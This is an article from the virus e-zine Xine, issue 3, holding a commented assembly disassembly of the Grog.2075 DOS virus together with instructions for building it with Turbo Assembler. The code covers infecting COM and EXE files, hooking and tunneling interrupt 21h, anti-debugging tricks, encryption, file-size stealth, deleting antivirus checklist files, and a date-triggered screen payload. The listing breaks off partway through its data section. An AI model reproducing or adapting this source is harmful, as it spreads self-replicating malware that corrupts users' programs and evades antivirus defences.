/-----------------------------\ | Xine - issue #3 - Phile 306 | \-----------------------------/ comment * Grog.2075 Disassembly by Darkman/29A Grog.2075 is a 2075 bytes parasitic direct action and resident COM/EXE virus. Infects files at open file, delete file, get or set file attributes, load and/or execute program and extended open/create by prepending the virus to the infected COM file and appending to the infected EXE file. Grog.2075 has an error handler, 8-bit subtract encryption in file, anti-tunneling, anti-debugging techniques, interrupt stealth at interrupt 21h, filesize stealth, restro structures and tunneling of interrupt 21h. Grog.2075 is using the pointer to address of interrupt 13h (disk) handler- and interrupt 21h (DOS functions) get address of InDOS flag DOS exploits. To compile Grog.2075 with Turbo Assembler v 4.0 type: TASM /m GROG2075.ASM TLINK /t /x GROG2075.OBJ * .model tiny .code org 100h ; Origin of Grog.2075 code_begin: xor ax,ax ; Zero AX mov es,ax ; ES = segment of interrupt table mov ds,ax ; DS = segment of interrupt table inc ah ; Set trap flag mov dx,ax ; " " " mov cx,(crypt_end-crypt_begin) mov di,(01h*04h) ; DI = offset of interrupt vector 01h mov si,di ; SI = " " " " " lodsw ; AX = offset of interrupt 01h push ax ; Save AX at stack lodsw ; AX = segment of interrupt 01h push ax ; Save AX at stack sub si,02h ; SI = offset of segment of interr... push ds si ; Save registers at stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea si,crypt_begin ; SI = offset of crypt_begin lea ax,decryptor ; AX = offset of decryptor stosw ; Set interrupt offset 01h mov ax,cs ; AX = segment of decryptor stosw ; Set interrupt segment 01h push dx ; Save DX at stack popf ; Load flags from stack (DX) decrypt_loop: lodsb ; AL = byte of encrypted code loop decrypt_loop mov ax,4c47h ; Terminate with return code int 21h decrypt_exit: iret ; Interrupt return! decryptor proc near ; Anti-debugging decryptor mov bp,sp ; BP = stack pointer push ax ; Save AX at stack push ds si ; Save registers at stack lds si,[bp+00h] ; DS:SI = pointer to decryptor loop lodsb ; AL = byte of decryptor loop pop si ds ; Load registers from stack cmp al,0e2h ; LOOP imm8 (opcode 0e2h)? jne test_int21 ; Not equal? Jump to test_int21 pop ax ; Load AX from stack add al,00h ; Decrypt byte decrypt_key equ byte ptr $-01h ; Decryption key mov [si-01h],al ; Store byte of decrypted code jmp decrypt_exit test_int21: cmp al,0cdh ; INT 21h (opcode 0cdh,21h)? pop ax ; Load AX from stack jne decrypt_exit ; Not equal? Jump to decrypt_exit endp crypt_begin: pop ax ax ax ; Load registers from stack pop di es ax ; Load registers from stack stosw ; Set interrupt segment 01h sub di,04h ; DI = offset of offset of interru... pop ax ; Load AX from stack stosw ; Set interrupt offset 01h virus_exit: mov bx,'Gg' ; Grog.2075 function mov ax,4b47h ; " " int 21h mov ax,2e01h ; Set verify flag (on) xor dl,dl ; Zero DL int 21h mov ah,2fh ; Get disk transfer area address int 21h push es bx ; Save registers at stack call install lea dx,dta ; DX = offset of dta mov ah,1ah ; Set disk transfer area address call int21_simula call test_assign jne infect_comma ; ASSIGN not installed? Jump to in... mov ax,601h ; Get drive assignment table int 2fh mov al,es:[105h] ; AL = the drive which C: is mappe... push ax ; Save AX at stack mov al,03h ; Mappe drive C: to drive C: mov es:[105h],al ; Store drive which C: is mapped to infect_comma: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,c__command_ ; DX = offset of c__command_ mov ax,4300h ; Get file attributes int 21h call test_assign mov_code_end: jne find_first ; ASSIGN not installed? Jump to fi... pop ax ; Load AX from stack mov es:[105h],al ; Store drive which C: is mapped to find_first: mov ah,4eh ; Find first matching file mov cx,0000000000000111b lea dx,file_specifi ; DX = offset of file_specifi find_next: call int21_simula jc set_dta_addr ; Error? Jump to set_dta_addr lea dx,filename ; DX = offset of filename mov ax,4300h ; Get file attributes int 21h mov ah,4fh ; Find next matching file jmp find_next set_dta_addr: pop dx ds ; Load registers from stack mov ah,1ah ; Set disk transfer area address call int21_simula jmp virus_exit test_assign proc near ; Test if ASSIGN is installed mov ax,600h ; ASSIGN installation check int 2fh cmp al,0ffh ; ASSIGN installed? ret ; Return! endp install proc near ; Tunnel, allocate memory, move vi... mov ax,70h ; AX = segment of address of inter... mov ds,ax ; DS = " " " " " les bx,ds:[0b4h] ; ES:BX = pointer to address of in... push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov word ptr [int13_addr],bx mov word ptr [int13_addr+02h],es mov ah,34h ; Get address of InDOS flag int 21h mov ax,es ; AX = segment of DOS data segment push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea di,dos_data_seg ; DI = offset of dos_data_seg stosw ; Store segment of DOS data segment xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table mov si,(21h*04h) ; SI = offset of interrupt vector 21h lea di,int21_origin ; DI = offset of int21_origin push si ; Save SI at stack movsw ; Get interrupt vector 21h movsw ; " " " " lea di,int21_addr ; DI = offset of int21_addr pop si ; Load SI from stack movsw ; Get interrupt vector 21h movsw ; " " " " lds si,ds:[01h*04h] ; DS:SI = pointer to interrupt 01h lea di,int01_addr ; DI = offset of int01_addr mov ax,si ; AX = offset of interrupt 01h stosw ; Get interrupt offset 01h mov ax,ds ; AX = segment of interrupt 01h stosw ; Get interrupt segment 01h xor ax,ax ; Zero AX mov es,ax ; ES = segment of interrupt table mov di,(01h*04h) ; DI = offset of interrupt vector 01h lea ax,tunneler ; AX = offset of tunneler stosw ; Set interrupt offset 01h mov ax,cs ; AX = code segment stosw ; Set interrupt segment 01h pushf ; Save flags at stack pop ax ; Load AX from stack (flags) or ah,00000001b ; Set trap flag push ax ; Save AX at stack popf ; Load flags from stack (AX) mov ax,4343h ; Unknown function cli ; Clear interrupt-enable flag pushf ; Save flags at stack call cs:[int21_origin] pushf ; Save flags at stack pop ax ; Load AX from stack (flags) and ah,11111110b ; Clear trap flag push ax ; Save AX at stack popf ; Load flags from stack (AX) mov ah,62h ; Get current PSP address int 21h mov ds,bx ; DS = segment of PSP for current ... cli ; Clear interrupt-enable flag mov ax,ds:[02h] ; AX = segment of first byte beyon... mov cx,((code_end-code_begin+0fh)/10h)*04h-02h sub ax,cx ; Subtract number of paragraphs to... mov ds:[02h],ax ; Store new segment of first byte ... push ax ; Save AX at stack mov cx,ds ; CX = segment of PSP for current ... sub ax,cx ; Subtract segment of PSP for curr... dec cx ; CX = segment of last MCB in chain mov ds,cx ; DS = " " " " " " mov ds:[03h],ax ; Store new size of memory block i... pop es ; Load ES from stack (AX) push cs ; Save CS at stack pop ds ; Load DS from stack (CS) xor si,si ; Zero SI xor di,di ; Zero DI mov cx,(code_end-code_begin+100h) rep movsb ; Move virus to top of memory push es ; Save ES at stack mov es,cx ; ES = segment of interrupt table mov di,(21h*04h) ; DI = offset of interrupt vector 21h lea ax,int21_virus ; AX = offset of int21_virus stosw ; Set interrupt offset 21h pop ax ; Load AX from stack stosw ; Set interrupt segment 21h sti ; Set interrupt-enable flag push cs ; Save CS at stack pop ds ; Load DS from stack (CS) ret ; Return! endp tunneler proc near ; Interrupt 21h tunneler push ax bx ; Save registers at stack mov bx,cs ; BX = code segment call test_segment cmp bh,00h ; Not equal to data- and extra se...? je tst_zero_seg ; Equal? Jump to tst_zero_seg jmp code_seg_tst tst_zero_seg: xor bx,bx ; BX = segment of interrupt table call test_segment cmp bh,00h ; Not equal to data- and extra se...? je test_cs_seg ; Equal? Jump to test_cs_seg jmp zero_seg_tst test_cs_seg: pop bx ax ; Load registers from stack push bp ; Save BP at stack test_cs_seg_: mov bp,sp ; BP = stack pointer push ax ; Save AX at stack mov ax,cs ; AX = code segment cmp [bp+04h],ax ; Code segment equal to segment of... pop ax ; Load AX from stack je tunnel_exit_ ; Equal? Jump to tunnel_exit_ cmp [bp+04h],0f000h ; DOS data segment? dos_data_seg equ word ptr $-02h ; DOS data segment jne test_opcode ; Not equal? Jump to test_opcode push ax es ; Save registers at stack les ax,[bp+02h] ; ES:AX = pointer to interrupt 21h mov word ptr cs:[int21_addr],ax mov word ptr cs:[int21_addr+02h],es pop es ax ; Load registers from stack and [bp+06h],1111111011111111b jmp tunnel_exit_ test_opcode: push ds si ax ; Load registers from stack lds si,[bp+02h] ; DS:SI = pointer to interrupt 21h lodsb ; AL = opcode of interrupt 21h cmp al,9dh ; POPF (opcode 9dh)? jne test_pushf ; Not equal? Jump to test_pushf or [bp+08h],0000000100000000b jmp tunnel_exit test_pushf: cmp al,9ch ; PUSHF (opcode 9ch)? jne test_iret ; Not equal? Jump to test_iret jmp pushf_simula test_iret: cmp al,0cfh ; IRET (opcode 0cfh)? jne test_dec_sp ; Not equal? Jump to test_dec_sp or [bp+0ch],0000000100000000b tunnel_exit: pop ax si ds ; Load registers from stack tunnel_exit_: pop bp ; Load BP from stack iret ; Interrupt return! test_dec_sp: cmp al,4ch ; DEC SP (opcode 4ch)? jne tunnel_exit ; Not equal? Jump to tunnel_exit mov ax,[bp+02h] ; AX = instruction pointer of inte... inc ax ; Increase AX mov [bp+02h],ax ; Store instruction pointer of int... push di ; Save DI at stack push ss ; Save SS at stack pop ds ; Load DS from stack (SS) mov si,sp ; SI = stack pointer mov di,bp ; DI = stack pointer add di,08h ; DI = offset of end of stack move_stack: lodsw ; AL = word of stack mov [si-03h],ax ; Store word of stack cmp si,di ; End of stack? jne move_stack ; Not equal? Jump to move_stack mov al,01000011b ; AL = low-order 8-bits of flags mov [bp+07h],al ; Store low-order 8-bits of flags dec sp ; Decrease SP pop di ; Load DI from stack pop ax si ds ; Load registers from stack jmp test_cs_seg_ code_seg_tst: pop bx ax ; Load registers from stack push bp ds ; Save registers at stack lea bp,int24_exit ; BP = offset of int24_exit mov ds,bp ; DS = " " " lea bp,tunneler ; BP = offset of tunneler call exam_mod_reg pop ds ; Load DS from stack jmp test_cs_seg_ zero_seg_tst: pop bx ax ; Load registers from stack push bp ; Save BP at stack push ds ; Save DS at stack lea bp,int01_addr ; BP = offset of int01_addr mov ds,bp ; DS = " " " mov bp,(01h*04h) ; BP = offset of interrupt vector 01h call exam_mod_reg pop ds ; Load DS from stack cmp bp,05h ; Found offset of interrupt table? je tst_data_seg ; Equal? Jump to tst_data_seg jmp test_cs_seg_ tst_data_seg: push ax ; Save AX at stack push cs ; Save CS at stack mov ax,ds ; AX = data segment cmp ax,00h ; Segment of interrupt vector table? je mov_cs_to_ds ; Equal? Jump to mov_cs_to_ds pop es ; Load ES from stack (CS) jmp jump_test_cs mov_cs_to_ds: pop ds ; Load DS from stack (CS) jump_test_cs: pop ax ; Load AX from stack jmp test_cs_seg_ pushf_simula: mov ax,[bp+02h] ; AX = instruction pointer of inte... inc ax ; Increase AX mov [bp+02h],ax ; Store instruction pointer of int... push di ds ; Save registers at stack push ss ; Save SS at stack pop ds ; Load DS from stack (SS) mov si,sp ; SI = stack pointer mov di,bp ; DI = stack pointer add di,08h ; DI = offset of end of stack move_stack_: lodsw ; AL = word of stack mov [si-04h],ax ; Store word of stack cmp si,di ; End of stack? jne move_stack_ ; Not equal? Jump to move_stack_ sub sp,02h ; Subtract two from SP pop ds di ; Load registers from stack push [bp+04h] ; Save flags at stack pop [bp+06h] ; Load flags from stack and [bp+06h],1111111011111111b pop ax si ds ; Load registers from stack jmp test_cs_seg_ test_segment proc near ; Test data- and extra segment mov ax,ds ; AX = data segment cmp ax,bx ; Equal to data segment jne test_es_seg ; Not equal? Jump to test_es_seg ret ; Return! test_es_seg: mov ax,es ; AX = extra segment cmp ax,bx ; Equal to extra segment? jne not_equal ; Not equal? Jump to not_equal ret ; Return! not_equal: xor bh,bh ; Segment not found ret ; Return! endp exam_mod_reg proc near ; Examine and prehaps modify register cmp ax,bp ; Equal to test register value? jne exam_bx_reg ; Not equal? Jump to exam_bx_reg mov ax,ds ; AX = new register value jmp found_reg exam_bx_reg: cmp bx,bp ; Equal to test register value? jne exam_cx_reg ; Not equal? Jump to exam_cx_reg mov bx,ds ; BX = new register value jmp found_reg exam_cx_reg: cmp cx,bp ; Equal to test register value? jne exam_dx_reg ; Not equal? Jump to exam_dx_reg mov cx,ds ; CX = new register value jmp found_reg exam_dx_reg: cmp dx,bp ; Equal to test register value? jne exam_si_reg ; Not equal? Jump to exam_si_reg mov dx,ds ; DX = new register value jmp found_reg exam_si_reg: cmp si,bp ; Equal to test register value? jne exam_di_reg ; Not equal? Jump to exam_di_reg mov si,ds ; SI = new register value jmp found_reg exam_di_reg: cmp di,bp ; Equal to test register value? jne exam_reg_end ; Not equal? Jump to exam_reg_end mov di,ds ; DI = new register value found_reg: inc bp ; BP = found test register value exam_reg_end: ret ; Return! endp endp xchg_int13 proc near ; Exchange address of interrupt 13h push cs cs ; Save segments at stack pop ds es ; Load segments from stack (CS) lea si,int13_addr ; SI = offset of int13_addr lodsw ; Load offset of interrupt 13h push ax ; Save AX at stack lodsw ; Load segment of interrupt 13h push ax ; Save AX at stack xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table mov si,(13h*04h) ; SI = offset of interrupt vector 13h lea di,int13_addr ; DI = offset of int13_addr movsw ; Get interrupt vector 13h movsw ; " " " " xor ax,ax ; Zero AX mov es,ax ; ES = segment of interrupt table mov di,(13h*04h+02h) ; DI = offset of interrupt segment... std ; Set direction flag pop ax ; Load AX from stack stosw ; Set interrupt segment 13h pop ax ; Load AX from stack stosw ; Set interrupt offset 13h cld ; Clear direction flag push cs cs ; Save segments at stack pop ds es ; Load segments from stack (CS) ret ; Return! endp not_infectab: xor bl,bl ; File not infectable infectable: pop cx di es ; Load registers from stack ret ; Return! examine_file proc near ; Examine COM/EXE file push es di cx ; Save registers at stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) find_zero: lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne find_zero ; Not equal? Jump to find_zero sub si,05h ; SI = offset of extension lodsb ; AL = byte of filename cmp al,'.' ; Found dot before the extension? jne not_infectab ; Not equal? Jump to not_infectab mov cs:[com_or_exe],00h ; COM executable lea di,com_executab ; DI = offset of com_executab call examine_name je prepare_loop ; COM executable? Jump to prepare_... mov cs:[com_or_exe],01h ; EXE executable lea di,exe_executab ; DI = offset of exe_executab call examine_name jne not_infectab ; EXE executable? Jump to not_infe... prepare_loop: sub si,05h ; SI = offset of middle of filename lea di,table_begin ; DI = offset of table_begin mov cx,(table_end-table_begin)/04h table_loop: call examine_name je not_infectab ; Equal? Jump to not_infectab add di,04h ; DI = offset of the next four byt... loop table_loop mov bl,01h ; File infectable jmp infectable endp examine_name proc near ; Examine filename push si di cx ; Save registers at stack mov cx,04h ; Examine four bytes examine_loop: lodsb ; AL = byte of filename and al,01011111b ; Upcase character scasb ; Match found in examined filename? jne not_matching ; Not equal? Jump to not_matching loop examine_loop not_matching: cmp cl,00h ; Match found in examined filename pop cx di si ; Load registers from stack ret ; Return! endp int24_virus proc near ; Interrupt 24h of Grog.2075 pop ax ax ax ; Load registers from stack pop es ds bp di si dx cx bx ax push bp ; Save BP at stack mov bp,sp ; BP = stack pointer or word ptr [bp+06h],0000000000000001b pop bp ; Load BP from stack int24_exit: iret ; Interrupt return! endp nop dta_stealth: call del_chklist dta_stealth_: popf ; Load flags from stack call int21_simula push ds es ax bx cx si ; Save registers at stack pushf ; Save flags at stack pop ax ; Load AX from stack (flags) cld ; Clear direction flag push bp ; Save BP at stack mov bp,sp ; BP = stack pointer mov [bp+12h],ax ; Store flags pop bp ; Load BP from stack jc dta_dont_ste ; Error? Jump to dta_dont_ste mov ah,2fh ; Get disk transfer area address call int21_simula push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov si,bx ; SI = offset of disk transfer area add si,16h ; SI = offset of file time lodsw ; AX = file time and al,00011111b ; AL = seconds of file time cmp al,00010001b ; Infected (34 seconds)? jne dta_dont_ste ; Not infected? Jump to dta_dont_ste sub [si+02h],(code_end-code_begin) dta_dont_ste: pop si cx bx ax es ds ; Load registers from stack iret ; Interrupt return! fcb_stealth: call del_chklist fcb_stealth_: popf ; Load flags from stack call int21_simula cmp al,00h ; Match no found? jne fcb_ste_exit ; Not equal? Jump to fcb_ste_exit push es ax bx ; Save registers at stack mov ah,51h ; Get current PSP address call int21_simula mov es,bx ; ES = segment of PSP for current ... cmp bx,es:[16h] ; Parent PSP equal to current PSP? jne fcb_dont_ste ; Not equal? Jump to fcb_dont_ste mov bx,dx ; BX = offset of unopened FCB mov al,[bx] ; AL = extended FCB push ax ; Save AX at stack mov ah,2fh ; Get disk transfer area address call int21_simula pop ax ; Load AX from stack inc al ; Extended FCB? jne not_extended ; Not equal? Jump to not_extended add bx,07h ; BX = offset of normal FCB not_extended: mov ax,es:[bx+17h] ; AX = file time and ax,0000000000011111b cmp ax,0000000000010001b jne fcb_dont_ste ; Not infected? Jump to fcb_dont_ste sub es:[bx+1dh],(code_end-code_begin) fcb_dont_ste: pop bx ax es ; Load registers from stack fcb_ste_exit: iret ; Interrupt return! set_int21_st: mov word ptr cs:[int21_origin],dx mov word ptr cs:[int21_origin+02h],ds popf ; Load flags from stack iret ; Interrupt return! get_int21_st: mov bx,word ptr cs:[int21_origin] mov es,word ptr cs:[int21_origin+02h] popf ; Load flags from stack iret ; Interrupt return! jmp_dta_ste: jmp dta_stealth_ jmp_dta_ste_: jmp dta_stealth jmp_fcb_ste: jmp fcb_stealth_ jmp_fcb_ste_: jmp fcb_stealth int21_virus proc near ; Interrupt 21h of Grog.2075 pushf ; Save flags at stack push ax ; Save AX at stack mov ax,'Gg' push ax ; Save AX at stack pop ax ; Load AX from stack dec sp ; Decrease SP dec sp ; Decrease SP pop ax ; Load AX from stack cmp ax,'Gg' ; Tunneling? pop ax ; Load AX from stack je test_functio ; No tunneling? Jump to test_functio popf ; Load flags from stack iret ; Interrupt return! test_functio: cmp ah,4eh ; Find first matching file (DTA)? je jmp_dta_ste_ ; Equal? Jump to jmp_dta_ste_ cmp ah,4fh ; Find next matching file (DTA)? je jmp_dta_ste ; Equal? Jump to jmp_dta_ste cmp ah, 11h ; Find first matching file (DTA)? je jmp_fcb_ste_ ; Equal? Jump to jmp_fcb_ste_ cmp ah, 12h ; Find next matching file (DTA)? je jmp_fcb_ste ; Equal? Jump to jmp_fcb_ste cmp ax,2521h ; Set interrupt vector 21h? je set_int21_st ; Equal? Jump to set_int21_st cmp ax,3521h ; Get interrupt vector 21h? je get_int21_st ; Equal? Jump to get_int21_st cmp ax,4b47h ; Grog.2075 function? je jmp_grog_fun ; Equal? Jump to jmp_grog_fun cmp ax,6c00h ; Extended open/create? je tst_ext_open ; Equal? Jump to tst_ext_open cmp ah,3dh ; Open file? je tst_ext_open ; Equal? Jump to tst_ext_open cmp ah,56h ; Rename file? je tst_ext_open ; Equal? Jump to tst_ext_open cmp ah,43h ; Get or set file attributes? je tst_ext_open ; Equal? Jump to tst_ext_open cmp ah,41h ; Delete file? je tst_ext_open ; Equal? Jump to tst_ext_open cmp ah,4bh ; Load and/or execute program? je tst_ext_open ; Equal? Jump to tst_ext_open jmp int21_exit_ tst_ext_open: push ax bx cx dx si di bp ds es cld ; Clear direction flag cmp ah,6ch ; Extended open/create? jne not_ext_open ; Not equal? Jump to not_ext_open mov dx,si ; DX = offset of filename not_ext_open: xor al,al ; Zero AL mov bp,ax ; BP = DOS function mov si,es ; SI = extra segment mov ax,3524h ; Get interrupt vector 24h call int21_simula push bx es ; Save registers at stack push ds dx ; Save registers at stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,int24_virus ; DX = offset of int24_virus mov ax,2524h ; Set interrupt vector 24h call int21_simula pop dx ds ; Load registers from stack jmp prepare_exam jmp_grog_fun: jmp grog_functio video_effect: pop ds dx ; Load registers from stack mov ax,2524h ; Set interrupt vector 24h call int21_simula mov ah,2ah ; Get system date call int21_simula cmp dl,11h ; Produce video effect? jne int21_exit ; Not equal? Jump to int21_exit mov ax,40h ; AX = segment of BIOS data segment mov ds,ax ; DS = " " " " " mov al,ds:[17h] ; AL = keyboard status flag one and al,01110000b ; Clear insert active, either alt ... cmp al,01110000b ; Caps lock, num lock and scroll l... jne int21_exit ; Not equal? Jump to int21_exit mov ax,0b800h ; AX = segment of text video RAM mov es,ax ; ES = " " " " " push cs ; Save CS at stack pop ds ; Load DS from stack (CS) xor di,di ; Zero DI lea si,stdout_str+01h ; SI = offset of stdout_str + 01h lea bp,stdout_end ; BP = offset of stdout_end sto_str_int3: movsb ; Move byte of stdout_str to text ... mov al,0cch ; INT 03h (opcode 0cch) stosb ; Store INT 03h cmp si,bp ; End of stdout_str? jne sto_str_int3 ; Not equal? Jump to sto_str_int3 push cs ; Save CS at stack pop bx ; Load BX from stack (CS) sub bx,1ffeh ; Subtract eight thousand nine-hun... mov ah,2ch ; Get system time call int21_simula cmp dx,bx ; Seconds below top of memory? jb store_nop ; Below? Jump to store_nop xor dh,dh ; Zero DH store_nop: push dx ; Save DX at stack pop es ; Load ES from stack (DX) mov di,cx ; DI = hour and minute mov al,90h ; NOP (opcode 90h) stosb ; Store NOP int21_exit: pop es ds bp di si dx cx bx ax int21_exit_: popf ; Load flags from stack db 0eah ; JMP imm32 (opcode 0eah) int21_origin dd ? ; Address of interrupt 21h endp grog_functio: cmp bx,'Gg' ; Grog.2075 function? jne int21_exit_ ; Not equal? Jump to int21_exit_ pop ax ax ds ; Load registers from stack push ds ; Save DS at stack pop es ; Load ES from stack (DS) cmp [com_or_exe],01h ; EXE executable? je vir_exe_exit ; Equal? Jump to vir_exe_exit mov si,[origin_off] ; SI = offset of original code of ... mov ax,100h ; AX = offset of beginning of code add si,ax ; SI = offset of original code mov di,ax ; DI = offset of beginning of code mov cx,(code_end-code_begin) push ds ax ; Save registers at stack restore_loop: movsb ; Move the original code loop restore_loop zero_regs: xor ax,ax ; Zero AX mov bx,ax ; Zero BX mov cx,ax ; Zero CX mov dx,ax ; Zero DX mov bp,ax ; Zero BP mov si,ax ; Zero SI mov di,ax ; Zero DI iret ; Interrupt return! vir_exe_exit: mov ah,62h ; Get current PSP address call int21_simula add bx,10h ; BX = segment of beginning of code add word ptr [file_header+16h],bx add word ptr [file_header+0eh],bx pop ax ; Load AX from stack cli ; Clear interrupt-enable flag mov ss,word ptr [file_header+0eh] mov sp,word ptr [file_header+10h] sti ; Set interrupt-enable flag push ax ; Save AX at stack push word ptr [file_header+16h] push word ptr [file_header+14h] sub bx,10h ; BX = segment of PSP for current ... mov ds,bx ; DS = " " " " " " mov es,bx ; ES = " " " " " " jmp zero_regs prepare_exam: mov es,si ; ES = extra segment mov si,dx ; SI = offset of filename call examine_file cmp bl,00h ; File not infectable? jne test_rename ; Not equal? Jump to test_rename jmp video_effect test_rename: cmp bp,5600h ; Rename file? jne open_file ; Not equal? Jump to open_file push ds ; Save DS at stack push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov si,di ; SI = offset of filename call examine_file pop ds ; Load DS from stack cmp bl,00h ; File not infectable? jne open_file ; Not equal? Jump to open_file jmp video_effect open_file: push ds dx ; Save registers at stack mov cs:[set_file_att],00h call xchg_int13 pop dx ds ; Load registers from stack call open_file_ call xchg_int13 jmp video_effect open_file_ proc near ; Get file attributes, open file, ... mov ax,4300h ; Get file attributes call int21_simula push cx ; Save CX at stack jc open_error ; Error? Jump to open_error mov ax,3d00h ; Open file (read) call int21_simula xchg ax,bx ; BX = file handle jc open_error ; Error? Jump to open_error push dx ; Save DX at stack mov ax,5700h ; Get file's date and time call int21_simula and cl,00011111b ; CL = seconds of file time? cmp cl,00010001b ; Already infected? (34 seconds)? pop dx ; Load DS from stack je already_inf ; Equal? Jump to already_inf push ds dx ; Save registers at stack call tst_filesize mov ah,3eh ; Close file call int21_simula pop dx ds ; Load registers from stack pop cx ; Load CX from stack cmp cs:[set_file_att],00h je dont_set_att ; Don't set file attributes? Jump ... mov ax,4301h ; Set file attributes call int21_simula dont_set_att: ret ; Return! open_error: pop cx ; Load CX from stack ret ; Return! already_inf: pop cx ; Load CX from stack mov ah,3eh ; Close file call int21_simula ret ; Return! endp db '>>4/93<<' tst_filesize proc near ; Test filesize push dx ; Save DX at stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov al,02h ; Set current file position (EOF) xor dx,dx ; Zero DX call set_file_pos mov cs:[origin_off],ax ; Store offset of original code of... cmp ax,(code_end-code_begin+100h) jb filesiz_exit ; Below? Jump to filesiz_exit cmp cs:[com_or_exe],01h ; EXE executable? je dont_test ; Equal? Jump to dont_test cmp dx,00h ; Filesize too large? jne filesiz_exit ; Not equal? Jump to filesiz_exit cmp ax,0fefeh-(code_end-code_begin+18dh)*05h+06h ja filesiz_exit ; Above? Jump to filesiz_exit dont_test: pop dx ; Load DX from stack call infect_file ret ; Return! filesiz_exit: pop ax ; Load AX from stack (DX) ret ; Return! endp set_file_sof proc near ; Set current file position (SOF) xor al,al ; " " " " " set_file_pos proc near ; Set current file position mov ah,42h ; " " " " xor cx,cx ; Zero CX call int21_simula ret ; Return! endp endp db 'GROG v4.0 (C) ''93 by GROG - Italy' infect_file proc near ; Infect COM/EXE file mov ah,3eh ; Close file call int21_simula mov ax,4301h ; Set file attributes xor cx,cx ; CX = new file attributes call int21_simula jc open_error_ ; Error? Jump to open_error_ mov cs:[set_file_att],01h mov ax,3d02h ; Open file (read/write) call int21_simula xchg ax,bx ; BX = file handle jc open_error_ ; Error? Jump to open_error_ push cs cs ; Save segments at stack pop ds es ; Load segments from stack (CS) mov ax,5700h ; Get file's date and time call int21_simula and cl,11100000b ; Clear seconds of file time or cl,00010001b ; Set infection mark (34 seconds) push cx dx ; Save registers at stack jmp read_file open_error_: ret ; Return! read_file: mov ah,3fh ; Read from file mov cx,(code_end-code_begin) lea dx,file_buffer ; DX = offset of file_buffer call int21_simula mov [com_or_exe],00h ; COM executable cmp word ptr [file_buffer],'ZM' je infect_exe ; Found EXE signature? Jump to inf... jmp infect_com infect_exe: mov [com_or_exe],01h ; EXE executable mov word ptr [file_buffer+12h],'ZM' lea si,file_buffer ; SI = offset of file_buffer mov cx,18h ; Move eightteen bytes lea di,file_header ; SI = offset of file_header move_header: movsb ; Move file header loop move_header xor dx,dx ; Zero DX mov al,02h ; Set current file position (EOF) call set_file_pos push dx ; Save DX at stack mov dx,word ptr [file_buffer+08h] mov cl,04h ; Multiply header size in paragrap... rol dx,cl ; DX = header size sub ax,dx ; Subtract header size from filesize push ax ; Save AX at stack xor cx,cx ; Zero CX and ax,0000000000001111b cmp al,00h ; Calculate number of bytes in la...? je calc_pages_ ; Equal? Jump to calc_pages_ neg al ; Negate AL and al,00001111b ; AL = number of bytes to write mov cx,ax ; CX = number of bytes to write mov ah,40h ; Write to file call int21_simula pop ax ; Load AX from stack add ax,cx ; Add number of bytes actually wri... cmp ax,cx ; Calculate number of bytes in la...? jae calc_pages ; Above or equal? Jump to calc_pages pop dx ; Load DX from stack inc dx ; Increase DX push dx ; Save DX at stack calc_pages: push ax ; Save AX at stack calc_pages_: add cx,((code_end-code_begin) mod 200h)+200h add word ptr [file_buffer+02h],cx test_pages: cmp word ptr [file_buffer+02h],200h jb calc_cs_ip ; Below? Jump to calc_cs_ip inc word ptr [file_buffer+04h] sub word ptr [file_buffer+02h],200h jmp test_pages calc_cs_ip: add word ptr [file_buffer+04h],(code_end-code_begin-200h)/200h mov word ptr [file_buffer+14h],100h pop ax ; Load AX from stack mov cl,04h ; Divide by paragraphs shr ax,cl ; AX = initial SS and CS relative ... sub ax,10h ; Subtract instruction pointer mov word ptr [file_buffer+16h],ax mov word ptr [file_buffer+0eh],ax xor dx,dx ; Zero DX pop cx ; Load CX from stack (DX) calc_vir_ptr: add dh,10h ; Calculate pointer to virus loop calc_vir_ptr add word ptr [file_buffer+16h],dx add dx,100h ; DX = initial SS relative to star... add word ptr [file_buffer+0eh],dx mov word ptr [file_buffer+10h],1036h xor dx,dx ; Zero DX call set_file_sof mov cx,18h ; Write eigthteen bytes lea dx,file_buffer ; DX = offset of file_buffer mov ah,40h ; Write to file call int21_simula xor dx,dx ; Zero DX mov al,02h ; Set current file position (EOF) call set_file_pos jmp get_rnd_num infect_com: mov al,02h ; Set current file position (EOF) xor dx,dx ; Zero DX call set_file_pos lea dx,file_buffer ; DX = offset of file_buffer mov cx,(code_end-code_begin) mov ah,40h ; Write to file call int21_simula xor dx,dx ; Zero DX call set_file_sof get_rnd_num: mov ah,2ch ; Get system time call int21_simula add dh,dl ; DH = encryption/decryption key add dh,ch ; DH = " " add dh,cl ; DH = " " cmp dh,00h ; Invalid encryption/decryption key? je get_rnd_num ; Equal? Jump to get_rnd_num push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea di,file_buffer ; DI = offset of file_buffer mov [decrypt_key],dh ; Store decryption key lea si,code_begin ; SI = offset of code_begin mov cx,(mov_code_end-code_begin)/02h move_code: movsb ; Move hundred and fiftysix byte o... loop move_code mov cx,(crypt_end-crypt_begin) encrypt_loop: lodsb ; AL = byte of plain code sub al,dh ; Encrypt byte stosb ; Store byte of encrypted code loop encrypt_loop mov cx,(code_end-code_begin) lea dx,file_buffer ; DX = offset of file_buffer mov ah,40h ; Write to file call int21_simula pop dx cx ; Load registers from stack mov ax,5701h ; Set file's date and time call int21_simula ret ; Return! endp del_chklist proc near ; Delete CHKLIST.CPS push ax dx ds ; Save registers at stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,41h ; Delete file lea dx,chklist_cps ; DX = offset of chklist_cps call int21_simula pop ds dx ax ; Load registers from stack ret ; Return! endp int21_simula proc near ; Simulate interrupt 21h pushf ; Save flags at stack call cs:[int21_addr] ret ; Return! endp origin_off dw terminate-100h ; Offset of original code of infec... terminate: int 20h ; Terminate program stdout_str db ' Grog v4.0 is here!' db ' HaHaHa!' stdout_end: int21_addr dd ? ; Address of interrupt 21h int13_addr dd ? ; Address of interrupt 13h c__command_ db 'C:\COMMAND.' ; C:\COMMAND.COM com_executab db 'COM',00h ; COM executable exe_executab db 'EXE',00h ; EXE executable file_specifi db 